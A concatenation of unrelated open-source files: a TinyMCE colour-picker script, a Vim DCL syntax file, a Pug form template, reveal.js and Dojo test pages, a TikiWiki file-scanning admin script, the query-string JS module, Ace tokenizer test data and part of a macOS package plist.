b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth);
coef = (imHeight - y) / imHeight;
r = 128 + (r - 128) * coef;
g = 128 + (g - 128) * coef;
b = 128 + (b - 128) * coef;
changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b));
updateLight(r, g, b);
}
function updateLight(r, g, b) {
var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color;
for (i=0; i<detail; i++) {
if ((i>=0) && (i<partDetail)) {
finalCoef = i / partDetail;
finalR = dechex(255 - (255 - r) * finalCoef);
finalG = dechex(255 - (255 - g) * finalCoef);
finalB = dechex(255 - (255 - b) * finalCoef);
} else {
finalCoef = 2 - i / partDetail;
finalR = dechex(r * finalCoef);
finalG = dechex(g * finalCoef);
finalB = dechex(b * finalCoef);
}
color = finalR + finalG + finalB;
setCol('gs' + i, '#'+color);
}
}
function changeFinalColor(color) {
if (color.indexOf('#') == -1)
color = convertRGBToHex(color);
setCol('preview', color);
document.getElementById('color').value = color;
}
function setCol(e, c) {
try {
document.getElementById(e).style.backgroundColor = c;
} catch (ex) {
// Ignore IE warning
}
}
tinyMCEPopup.onInit.add(init);
|
{
"pile_set_name": "Github"
}
|
if exists("b:current_syntax")
finish
endif
if (v:version == 704 && has("patch-7.4.1142")) || v:version > 704
syn iskeyword $,@,48-57,_
else
setlocal iskeyword=$,@,48-57,_
endif
syn case ignore
syn keyword dclInstr accounting del[ete] gen[cat] mou[nt] run
syn keyword dclInstr all[ocate] dep[osit] gen[eral] ncp run[off]
syn keyword dclInstr ana[lyze] dia[gnose] gos[ub] ncs sca
syn keyword dclInstr app[end] dif[ferences] got[o] on sea[rch]
syn keyword dclInstr ass[ign] dir[ectory] hel[p] ope[n] set
syn keyword dclInstr att[ach] dis[able] ico[nv] pas[cal] sho[w]
syn keyword dclInstr aut[horize] dis[connect] if pas[sword] sor[t]
syn keyword dclInstr aut[ogen] dis[mount] ini[tialize] pat[ch] spa[wn]
syn keyword dclInstr bac[kup] dpm[l] inq[uire] pca sta[rt]
syn keyword dclInstr cal[l] dqs ins[tall] pho[ne] sto[p]
syn keyword dclInstr can[cel] dsr job pri[nt] sub[mit]
syn keyword dclInstr cc dst[graph] lat[cp] pro[duct] sub[routine]
syn keyword dclInstr clo[se] dtm lib[rary] psw[rap] swx[cr]
syn keyword dclInstr cms dum[p] lic[ense] pur[ge] syn[chronize]
syn keyword dclInstr con[nect] edi[t] lin[k] qde[lete] sys[gen]
syn keyword dclInstr con[tinue] ena[ble] lmc[p] qse[t] sys[man]
syn keyword dclInstr con[vert] end[subroutine] loc[ale] qsh[ow] tff
syn keyword dclInstr cop[y] eod log[in] rea[d] then
syn keyword dclInstr cre[ate] eoj log[out] rec[all] typ[e]
syn keyword dclInstr cxx exa[mine] lse[dit] rec[over] uil
syn keyword dclInstr cxx[l_help] exc[hange] mac[ro] ren[ame] unl[ock]
syn keyword dclInstr dea[llocate] exi[t] mai[l] rep[ly] ves[t]
syn keyword dclInstr dea[ssign] fdl mer[ge] req[uest] vie[w]
syn keyword dclInstr deb[ug] flo[wgraph] mes[sage] ret[urn] wai[t]
syn keyword dclInstr dec[k] fon[t] mms rms wri[te]
syn keyword dclInstr def[ine] for[tran]
syn keyword dclLexical f$context f$edit f$getjpi f$message f$setprv
syn keyword dclLexical f$csid f$element f$getqui f$mode f$string
syn keyword dclLexical f$cvsi f$environment f$getsyi f$parse f$time
syn keyword dclLexical f$cvtime f$extract f$identifier f$pid f$trnlnm
syn keyword dclLexical f$cvui f$fao f$integer f$privilege f$type
syn keyword dclLexical f$device f$file_attributes f$length f$process f$user
syn keyword dclLexical f$directory f$getdvi f$locate f$search f$verify
syn match dclMdfy "/\I\i*" nextgroup=dclMdfySet,dclMdfySetString
syn match dclMdfySet "=[^ \t"]*" contained
syn region dclMdfySet matchgroup=dclMdfyBrkt start="=\[" matchgroup=dclMdfyBrkt end="]" contains=dclMdfySep
syn region dclMdfySetString start='="' skip='""' end='"' contained
syn match dclMdfySep "[:,]" contained
syn match dclNumber "\d\+"
syn match dclVarname "\I\i*"
syn match dclDevice "\I\i*\(\$\I\i*\)\=:[^=]"me=e-1 nextgroup=dclDirPath,dclFilename
syn match dclDirPath "\[\(\I\i*\.\)*\I\i*\]" contains=dclDirSep nextgroup=dclFilename
syn match dclFilename "\I\i*\$\(\I\i*\)\=\.\(\I\i*\)*\(;\d\+\)\=" contains=dclDirSep
syn match dclFilename "\I\i*\.\(\I\i*\)\=\(;\d\+\)\=" contains=dclDirSep contained
syn match dclDirSep "[[\].;]"
syn region dclString start='"' skip='""' end='"' contains=@Spell
syn cluster dclCommentGroup contains=dclStart,dclTodo,@Spell
syn match dclStart "^\$" skipwhite nextgroup=dclExe
syn match dclContinue "-$"
syn match dclComment "^\$!.*$" contains=@dclCommentGroup
syn match dclExe "\I\i*" contained
syn keyword dclTodo contained COMBAK DEBUG FIXME TODO XXX
syn match dclAssign ":==\="
syn match dclAssign "="
syn match dclOper "--\|+\|\*\|/"
syn match dclLogOper "\.[a-zA-Z][a-zA-Z][a-zA-Z]\=\." contains=dclLogical,dclLogSep
syn keyword dclLogical contained and ge gts lt nes
syn keyword dclLogical contained eq ges le lts not
syn keyword dclLogical contained eqs gt les ne or
syn match dclLogSep "\." contained
syn match dclCmdProcStart "@" nextgroup=dclCmdProc
syn match dclCmdProc "\I\i*\(\.\I\i*\)\=" contained
syn match dclCmdProc "\I\i*:" contained nextgroup=dclCmdDirPath,dclCmdProc
syn match dclCmdDirPath "\[\(\I\i*\.\)*\I\i*\]" contained nextgroup=delCmdProc
syn match dclGotoLabel "^\$\s*\I\i*:\s*$" contains=dclStart
syn match dclParam "'\I[a-zA-Z0-9_$]*'\="
syn region dclFuncList matchgroup=Delimiter start="(" matchgroup=Delimiter end=")" contains=ALLBUT,dclCmdDirPath,dclCmdProc,dclCmdProc,dclDirPath,dclFilename,dclFilename,dclMdfySet,dclMdfySetString,delCmdProc,dclExe,dclTodo
syn match dclError ")"
if !exists("skip_dcl_syntax_inits")
hi def link dclLogOper dclError
hi def link dclLogical dclOper
hi def link dclLogSep dclSep
hi def link dclAssign Operator
hi def link dclCmdProc Special
hi def link dclCmdProcStart Operator
hi def link dclComment Comment
hi def link dclContinue Statement
hi def link dclDevice Identifier
hi def link dclDirPath Identifier
hi def link dclDirPath Identifier
hi def link dclDirSep Delimiter
hi def link dclError Error
hi def link dclExe Statement
hi def link dclFilename NONE
hi def link dclGotoLabel Label
hi def link dclInstr Statement
hi def link dclLexical Function
hi def link dclMdfy Type
hi def link dclMdfyBrkt Delimiter
hi def link dclMdfySep Delimiter
hi def link dclMdfySet Type
hi def link dclMdfySetString String
hi def link dclNumber Number
hi def link dclOper Operator
hi def link dclParam Special
hi def link dclSep Delimiter
hi def link dclStart Delimiter
hi def link dclString String
hi def link dclTodo Todo
endif
let b:current_syntax = "dcl"
|
{
"pile_set_name": "Github"
}
|
extends layouts/_layout.pug
block variables
- var activePage = 'form-components';
- var activeGroup = 'forms';
block title
title Form Components - Vali Admin
block content
.app-title
div
h1
i.fa.fa-edit
| Form Components
p Bootstrap default form components
ul.app-breadcrumb.breadcrumb
li.breadcrumb-item
i.fa.fa-home.fa-lg
li.breadcrumb-item
| Forms
li.breadcrumb-item
a(href="#") Form Components
.row
.col-md-12
.tile
.row
.col-lg-6
form
.form-group
label(for='exampleInputEmail1') Email address
input#exampleInputEmail1.form-control(type='email', aria-describedby='emailHelp', placeholder='Enter email')
small#emailHelp.form-text.text-muted We'll never share your email with anyone else.
.form-group
label(for='exampleInputPassword1') Password
input#exampleInputPassword1.form-control(type='password', placeholder='Password')
.form-group
label(for='exampleSelect1') Example select
select#exampleSelect1.form-control
option 1
option 2
option 3
option 4
option 5
.form-group
label(for='exampleSelect2') Example multiple select
select#exampleSelect2.form-control(multiple='')
option 1
option 2
option 3
option 4
option 5
.form-group
label(for='exampleTextarea') Example textarea
textarea#exampleTextarea.form-control(rows='3')
.form-group
label(for='exampleInputFile') File input
input#exampleInputFile.form-control-file(type='file', aria-describedby='fileHelp')
small#fileHelp.form-text.text-muted
| This is some placeholder block-level help text for the above input. It's a bit lighter and easily wraps to a new line.
fieldset.form-group
legend Radio buttons
.form-check
label.form-check-label
input#optionsRadios1.form-check-input(type='radio', name='optionsRadios', value='option1', checked='')
| Option one is this and that—be sure to include why it's great
.form-check
label.form-check-label
input#optionsRadios2.form-check-input(type='radio', name='optionsRadios', value='option2')
| Option two can be something else and selecting it will deselect option one
.form-check.disabled
label.form-check-label
input#optionsRadios3.form-check-input(type='radio', name='optionsRadios', value='option3', disabled='')
| Option three is disabled
.form-check
label.form-check-label
input.form-check-input(type='checkbox')
| Check me out
.col-lg-4.offset-lg-1
form
.form-group
fieldset(disabled='')
label.control-label(for='disabledInput') Disabled input
input#disabledInput.form-control(type='text', placeholder='Disabled input here...', disabled='')
.form-group
fieldset
label.control-label(for='readOnlyInput') Readonly input
input#readOnlyInput.form-control(type='text', placeholder='Readonly input here…', readonly='')
.form-group.has-success
label.form-control-label(for='inputSuccess1') Valid input
input#inputValid.form-control.is-valid(type='text')
.form-control-feedback Success! You've done it.
.form-group.has-danger
label.form-control-label(for='inputDanger1') Invalid input
input#inputInvalid.form-control.is-invalid(type='text')
.form-control-feedback Sorry, that username's taken. Try another?
.form-group
label.col-form-label.col-form-label-lg(for='inputLarge') Large input
input#inputLarge.form-control.form-control-lg(type='text')
.form-group
label.col-form-label(for='inputDefault') Default input
input#inputDefault.form-control(type='text')
.form-group
label.col-form-label.col-form-label-sm(for='inputSmall') Small input
input#inputSmall.form-control.form-control-sm(type='text')
.form-group
label.control-label Input addons
.form-group
label.sr-only(for='exampleInputAmount') Amount (in dollars)
.input-group
.input-group-prepend
span.input-group-text $
input#exampleInputAmount.form-control(type='text', placeholder='Amount')
.input-group-append
span.input-group-text .00
.tile-footer
button.btn.btn-primary(type='submit') Submit
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>reveal.js - Test PDF exports</title>
<link rel="stylesheet" href="../css/reveal.css">
<link rel="stylesheet" href="../css/print/pdf.css">
<link rel="stylesheet" href="qunit-1.12.0.css">
</head>
<body style="overflow: auto;">
<div id="qunit"></div>
<div id="qunit-fixture"></div>
<div class="reveal" style="display: none;">
<div class="slides">
<section>
<h1>1</h1>
<img data-src="fake-url.png">
</section>
<section>
<section>
<h1>2.1</h1>
</section>
<section>
<h1>2.2</h1>
</section>
<section>
<h1>2.3</h1>
</section>
</section>
<section id="fragment-slides">
<section>
<h1>3.1</h1>
<ul>
<li class="fragment">4.1</li>
<li class="fragment">4.2</li>
<li class="fragment">4.3</li>
</ul>
</section>
<section>
<h1>3.2</h1>
<ul>
<li class="fragment" data-fragment-index="0">4.1</li>
<li class="fragment" data-fragment-index="0">4.2</li>
</ul>
</section>
<section>
<h1>3.3</h1>
<ul>
<li class="fragment" data-fragment-index="1">3.3.1</li>
<li class="fragment" data-fragment-index="4">3.3.2</li>
<li class="fragment" data-fragment-index="4">3.3.3</li>
</ul>
</section>
</section>
<section>
<h1>4</h1>
</section>
</div>
</div>
<script src="../lib/js/head.min.js"></script>
<script src="../js/reveal.js"></script>
<script src="qunit-1.12.0.js"></script>
<script src="test-pdf.js"></script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?php // $Header: /cvsroot/tikiwiki/tiki/parse_tiki.php,v 1.5 2004/06/16 01:24:10 teedog Exp $
// heaviled modified get_strings.php
// dedicated as a tool for use in an eventual test suite
// mose@tikiwiki.org
require_once('tiki-setup.php');
if($tiki_p_admin != 'y') die("You need to be admin to run this script");
$logfile = 'temp/tiki_parsed.txt';
$logfilehtml = 'temp/tiki_parsed.html';
function collect($dir) {
global $dirs;
if (is_dir($dir) and is_dir("$dir/CVS")) {
$list = file("$dir/CVS/Entries");
foreach ($list as $l) {
// if (count($dirs) > 20) return true;
if (strstr($l,'/')) {
$s = split('/',rtrim($l));
$filepath = $dir.'/'.$s[1];
if ($s[0] == 'D') {
collect($filepath);
$dirs["$dir"][] = $s[1];
$dirs["$dir"]['FILES'] = array();
} else {
if (is_file($filepath)) {
$stat = stat($filepath);
$files["$filepath"]["mtime"] = $stat['mtime'];
$files["$filepath"]["ctime"] = $stat['ctime'];
$files["$filepath"]["atime"] = $stat['atime'];
$files["$filepath"]["size"] = $stat['size'];
$files["$filepath"]["rev"] = $s[2];
$files["$filepath"]["date"] = $s[3];
$files["$filepath"]["flags"] = $s[4];
$files["$filepath"]["tag"] = $s[5];
clearstatcache();
$dirs["$dir"]['FILES'] = $files;
}
}
}
}
}
}
function echoline($fd, $fx, $outstring, $style='', $mod='', $br=true) {
if ($br) {
$br = "\n";
} else {
$br = '';
}
fwrite ($fd, $outstring.$br);
if ($mod == 'd') {
$outstring = date('D M d H:m:s Y',trim($outstring));
}
if ($style == 'eob') {
$htmlstring = "</div>";
} elseif ($style) {
if ($style == 'dir') {
$htmlstring = "<span class='$style' onclick=\"javascript:toggle('".$outstring."');\">". sprintf(" %-16s : ",$style). htmlspecialchars($outstring)."</span>";
$htmlstring.= "<div class='box' id='".$outstring."'>";
$br = '';
} else {
$htmlstring = "<span class='$style'>". sprintf(" %-16s : ",$style). htmlspecialchars($outstring)."</span>";
}
} else {
$htmlstring = htmlspecialchars($outstring);
}
fwrite ($fx, $htmlstring.$br);
}
$display = 'none';
if (isset($_REQUEST['all'])) $display = 'block';
?>
<html><head><style>
pre { padding : 10px; border: 1px solid #666666; background-color: #efefef; }
.dir { font-weight : bold; background-color: #ffffff; cursor : pointer; }
.box { padding : 10px; border : 1px solid #999999; background-color: #f6f6f6; display : <?php echo $display ?>; }
.file { font-weight : bold; }
.php { background-color: #AACCFF; }
.smarty { background-color: #FFccAA; }
.other { background-color: #cccccc; }
.image { background-color: #aaffcc; }
.sub { padding-left : 20px; font-size : 80%; }
.var { background-color: #FFFFAA; }
.url { background-color: #FFAAAA; }
.action { background-color: #AACCFF; }
.form { background-color: #AABBFF; }
.atime, .ctime, .mtime, .date { background-color: #dedede; }
.size, .rev, .tag { background-color: #ededed; }
</style><script type="text/javascript" src="lib/tiki-js.js"></script></head>
<body><form action="parse_tiki.php" method="post"><input type="submit" name="action" value="process" /></form>
<a href="<?php echo $logfile; ?>">raw report</a>
<pre>
<?php
if (isset($_POST['action'])) {
$files = $dirs = array();
collect('.');
@unlink ($logfile);
$fw = fopen($logfile,'w');
$fx = fopen($logfilehtml,'w');
foreach ($dirs as $dir=>$params) {
$dirname = basename($dir);
$path = dirname($dir);
echoline($fw,$fx,$dir,'dir');
echoline($fw,$fx,'');
if (isset($dirs["$dir"]['FILES'])) {
foreach ($dirs["$dir"]['FILES'] as $file=>$params) {
$fp = fopen ($file, "r");
$data = fread ($fp, filesize ($file));
fclose ($fp);
$requests = array();
$urls = array();
if (preg_match("/\.(tpl|ph(p|tml))$/", $file)) {
if (preg_match("/\.ph(p|tml)$/", $file)) {
echoline($fw,$fx, $file,"file php");
$data = preg_replace ("/(?s)\/\*.*?\*\//", "", $data); // C comments
$data = preg_replace ("/(?m)^\s*\/\/.*\$/", "", $data); // C++ comments
$data = preg_replace ("/(?m)^\s*\#.*\$/", "", $data); // shell comments
$data = preg_replace('/(\r|\n)/', '', $data); // all one line
preg_match_all('/\$_(REQUEST|POST|GET|COOKIE|SESSION)\[([^\]]*)\]/', $data, $requests); // requests uses
$max = count($requests[0]);
for ($i=0;$i<$max;$i++) {
echoline($fw,$fx,$requests[1][$i]." = ".$requests[2][$i],'sub var');
}
} elseif (preg_match ("/\.tpl$/", $file)) {
echoline($fw,$fx,$file,'file smarty');
$data = preg_replace('/(?s)\{\*.*?\*\}/', '', $data); // Smarty comment
$data = preg_replace('/(\r|\n)/', '', $data); // all one line
}
preg_match_all('/<(a[^>]*)>[^<]*<\/a>/im', $data, $urls); // href links
foreach ($urls[1] as $u) {
echoline($fw,$fx,$u,'sub url');
}
preg_match_all('/<(form[^>]*)>/', $data, $forms); // form uses
foreach ($forms[1] as $f) {
echoline($fw,$fx,$f,'sub action');
}
preg_match_all('/<((input|textarea|select)[^>]*)>/', $data, $elements); // form elements uses
$max = count($elements[0]);
for ($i=0;$i<$max;$i++) {
echoline($fw,$fx,$elements[1][$i],'sub form');
}
echoline($fw,$fx,trim($params['atime']),'sub atime','d');
echoline($fw,$fx,trim($params['mtime']),'sub mtime','d');
echoline($fw,$fx,trim($params['ctime']),'sub ctime','d');
echoline($fw,$fx,trim($params['date']),'sub date');
echoline($fw,$fx,trim($params['size']),'sub size');
echoline($fw,$fx,trim($params['rev']),'sub rev');
echoline($fw,$fx,substr(trim($params['tag']),1),'sub tag');
} elseif (preg_match ("/\.(gif|jpg|png)$/i", $file)) {
echoline($fw,$fx,$file,'file image');
} else {
echoline($fw,$fx,$file,'file other');
}
echoline($fw,$fx,'');
flush();
}
}
echoline($fw,$fx,'end of box','eob');
}
fclose($fw);
fclose($fx);
}
if (is_file($logfilehtml)) {
readfile($logfilehtml);
}
?>
</pre>
</body></html>
|
{
"pile_set_name": "Github"
}
|
'use strict';
var strictUriEncode = require('strict-uri-encode');
var objectAssign = require('object-assign');
var decodeComponent = require('decode-uri-component');
function encoderForArrayFormat(opts) {
switch (opts.arrayFormat) {
case 'index':
return function (key, value, index) {
return value === null ? [
encode(key, opts),
'[',
index,
']'
].join('') : [
encode(key, opts),
'[',
encode(index, opts),
']=',
encode(value, opts)
].join('');
};
case 'bracket':
return function (key, value) {
return value === null ? encode(key, opts) : [
encode(key, opts),
'[]=',
encode(value, opts)
].join('');
};
default:
return function (key, value) {
return value === null ? encode(key, opts) : [
encode(key, opts),
'=',
encode(value, opts)
].join('');
};
}
}
function parserForArrayFormat(opts) {
var result;
switch (opts.arrayFormat) {
case 'index':
return function (key, value, accumulator) {
result = /\[(\d*)\]$/.exec(key);
key = key.replace(/\[\d*\]$/, '');
if (!result) {
accumulator[key] = value;
return;
}
if (accumulator[key] === undefined) {
accumulator[key] = {};
}
accumulator[key][result[1]] = value;
};
case 'bracket':
return function (key, value, accumulator) {
result = /(\[\])$/.exec(key);
key = key.replace(/\[\]$/, '');
if (!result) {
accumulator[key] = value;
return;
} else if (accumulator[key] === undefined) {
accumulator[key] = [value];
return;
}
accumulator[key] = [].concat(accumulator[key], value);
};
default:
return function (key, value, accumulator) {
if (accumulator[key] === undefined) {
accumulator[key] = value;
return;
}
accumulator[key] = [].concat(accumulator[key], value);
};
}
}
function encode(value, opts) {
if (opts.encode) {
return opts.strict ? strictUriEncode(value) : encodeURIComponent(value);
}
return value;
}
function keysSorter(input) {
if (Array.isArray(input)) {
return input.sort();
} else if (typeof input === 'object') {
return keysSorter(Object.keys(input)).sort(function (a, b) {
return Number(a) - Number(b);
}).map(function (key) {
return input[key];
});
}
return input;
}
function extract(str) {
var queryStart = str.indexOf('?');
if (queryStart === -1) {
return '';
}
return str.slice(queryStart + 1);
}
function parse(str, opts) {
opts = objectAssign({arrayFormat: 'none'}, opts);
var formatter = parserForArrayFormat(opts);
// Create an object with no prototype
// https://github.com/sindresorhus/query-string/issues/47
var ret = Object.create(null);
if (typeof str !== 'string') {
return ret;
}
str = str.trim().replace(/^[?#&]/, '');
if (!str) {
return ret;
}
str.split('&').forEach(function (param) {
var parts = param.replace(/\+/g, ' ').split('=');
// Firefox (pre 40) decodes `%3D` to `=`
// https://github.com/sindresorhus/query-string/pull/37
var key = parts.shift();
var val = parts.length > 0 ? parts.join('=') : undefined;
// missing `=` should be `null`:
// http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters
val = val === undefined ? null : decodeComponent(val);
formatter(decodeComponent(key), val, ret);
});
return Object.keys(ret).sort().reduce(function (result, key) {
var val = ret[key];
if (Boolean(val) && typeof val === 'object' && !Array.isArray(val)) {
// Sort object keys, not values
result[key] = keysSorter(val);
} else {
result[key] = val;
}
return result;
}, Object.create(null));
}
exports.extract = extract;
exports.parse = parse;
exports.stringify = function (obj, opts) {
var defaults = {
encode: true,
strict: true,
arrayFormat: 'none'
};
opts = objectAssign(defaults, opts);
if (opts.sort === false) {
opts.sort = function () {};
}
var formatter = encoderForArrayFormat(opts);
return obj ? Object.keys(obj).sort(opts.sort).map(function (key) {
var val = obj[key];
if (val === undefined) {
return '';
}
if (val === null) {
return encode(key, opts);
}
if (Array.isArray(val)) {
var result = [];
val.slice().forEach(function (val2) {
if (val2 === undefined) {
return;
}
result.push(formatter(key, val2, result.length));
});
return result.join('&');
}
return encode(key, opts) + '=' + encode(val, opts);
}).filter(function (x) {
return x.length > 0;
}).join('&') : '';
};
exports.parseUrl = function (str, opts) {
return {
url: str.split('?')[0] || '',
query: parse(extract(str), opts)
};
};
|
{
"pile_set_name": "Github"
}
|
[[
"start",
["text.xml","test: header 1 "]
],[
"start",
["markup.heading.1","#"],
["heading","f"]
],[
"start",
["text.xml","test: header 2"]
],[
"start",
["markup.heading.2","##"],
["heading"," foo"]
],[
"start",
["text.xml","test: header ends with ' #'"]
],[
"start",
["markup.heading.1","#"],
["heading"," # # "]
],[
"start",
["text.xml","test: header ends with '#'"]
],[
"start",
["markup.heading.1","#"],
["heading","foo# "]
],[
"start",
["text.xml","test: 6+ #s is not a valid header"]
],[
"start",
["text.xml","####### foo"]
],[
"start",
["text.xml","test: # followed be only space is not a valid header"]
],[
"start",
["text.xml","# "]
],[
"start",
["text.xml","test: only space between #s is not a valid header"]
],[
"start",
["text.xml","# #"]
],[
"allowBlock"
],[
"start",
["markup.heading.1","#"],
["heading"," test links "],
["text","["],
["string","Cloud9 IDE"],
["text","]("],
["markup.underline","http://www.c9.io/"],
["text",")"],
["heading"," #"]
],[
"listblock",
["markup.list","* "],
["text","["],
["string","demo"],
["text","]("],
["markup.underline","http://ajaxorg.github.com/ace/"],
["text",")"],
["list"," "],
["text","["],
["string","+"],
["text","]("],
["markup.underline","escape(\\) "],
["text",")"],
["list"," "],
["text","["],
["string","+"],
["text","]("],
["markup.underline","a"],
["string"," \"title\""],
["text",")"],
["list"," "],
["text","["],
["string","+"],
["text","]("],
["markup.underline","a"],
["string"," \"space\" "],
["text",")"]
],[
"listblock",
["markup.list","* "],
["list","usually "],
["string.emphasis","*work*"],
["list"," fine ("],
["string.emphasis","_em_"],
["list",")"]
],[
"listblock",
["list","in lists"]
],[
"start"
],[
"start",
["text.xml","in plain text "],
["meta.tag.punctuation.tag-open.xml","<"],
["meta.tag.tag-name.xml","b"],
["meta.tag.punctuation.tag-close.xml",">"],
["text.xml","http://ace.ajaxorg.com"],
["meta.tag.punctuation.tag-open.xml","<"],
["meta.tag.tag-name.xml","b"],
["meta.tag.punctuation.tag-close.xml",">"]
],[
"allowBlock"
],[
"allowBlock"
]]
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,maximum-scale=1,minimum-scale=1,user-scalable=no" />
<title>Dojo Gesture Testing</title>
<style type="text/css">
#outer {
width: 350px;
height: 180px;
border: 1px solid #54A201;
background-color: #54A201;
}
#inner {
width: 250px;
height: 140px;
border: 1px solid #7FB0DB;
background-color: #7FB0DB
}
#log1, #log2 {
width: 350px;
height: 50px;
}
</style>
<script type="text/javascript" src="../../../dojo/dojo.js" data-dojo-config="parseOnLoad: true"></script>
<script>
require([
"dojo/_base/kernel",
"dojo/_base/connect",
"dojo/_base/html",
"dojo/_base/event",
"dojo/on",
"dojo/touch",
"dojo/ready",
"dojox/gesture/tap",
"dojox/gesture/swipe"
], function(dojo, conn, html, evt, on, touch, ready, tap, swipe){
ready(function(){
var action = function(e){
html.byId("log1").innerHTML = "";
var info = " e.target.id=" + e.target.id + " | e.type=" + e.type + " | e.currentTarget.id="+ e.currentTarget.id;
/*
for(var i in e){
if(typeof e[i] != "function"){
info += "- " + i + ": " + e[i] + (e[i] && e[i]['id'] ? ' id = '+e[i]['id'] : '') + "<br/>";
}
}*/
html.byId("log1").innerHTML += info;
//evt.stop(e);
};
var swipeAction = function(e){
html.byId("log2").innerHTML = "";
var info = " e.target.id=" + e.target.id + " | e.type=" + e.type + " | e.currentTarget.id="+ e.currentTarget.id +
" e.dx=" + e.dx + " e.dy=" + e.dy + " e.time=" + e.time + "<br/>";
html.byId("log2").innerHTML += info;
//evt.stop(e);
};
//tap and swipe gestures both work well both on PC and touch devices
var inner = html.byId("inner");
on(inner, tap, action);
on(inner, tap.hold, action);
on(inner, tap.doubletap, action);
on(inner, swipe, swipeAction);
//test gesture events bubbling from inner div
var outer = html.byId("outer");
conn.connect(outer, tap, action);
conn.connect(outer, tap.hold, action);
conn.connect(outer, tap.doubletap, action);
conn.connect(outer, swipe, swipeAction);
conn.connect(outer, swipe.end, swipeAction);
//conn.connect(outer, touch.press, function(){console.log('outer.touch.press!');});
on(dojo.doc, "orientationchange", function(e){
html.byId("log1").innerHTML="";
html.byId("log2").innerHTML="";
});
});
});
</script>
</head>
<body>
<div id="outer">
outer
<div id="inner">inner
<br/>
<input id="input" type="text" placeholder="type here"/>input
<br/>
<input id="pwd" type="password" name="pwd" placeholder="type here"/>password
<br/>
<textarea id="textarea" rows="3" cols="20" style="width: 150px; height:30px" placeholder="type here" ></textarea>textarea
</div>
</div>
<div id="log1"></div>
<hr/>
<div id="log2"></div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PACKAGES</key>
<array>
<dict>
<key>PACKAGE_FILES</key>
<dict>
<key>DEFAULT_INSTALL_LOCATION</key>
<string>/</string>
<key>HIERARCHY</key>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Utilities</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Applications</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Application Support</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Automator</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Documentation</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Filesystems</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Frameworks</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Input Methods</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Internet Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchAgents</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchDaemons</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PreferencePanes</string>
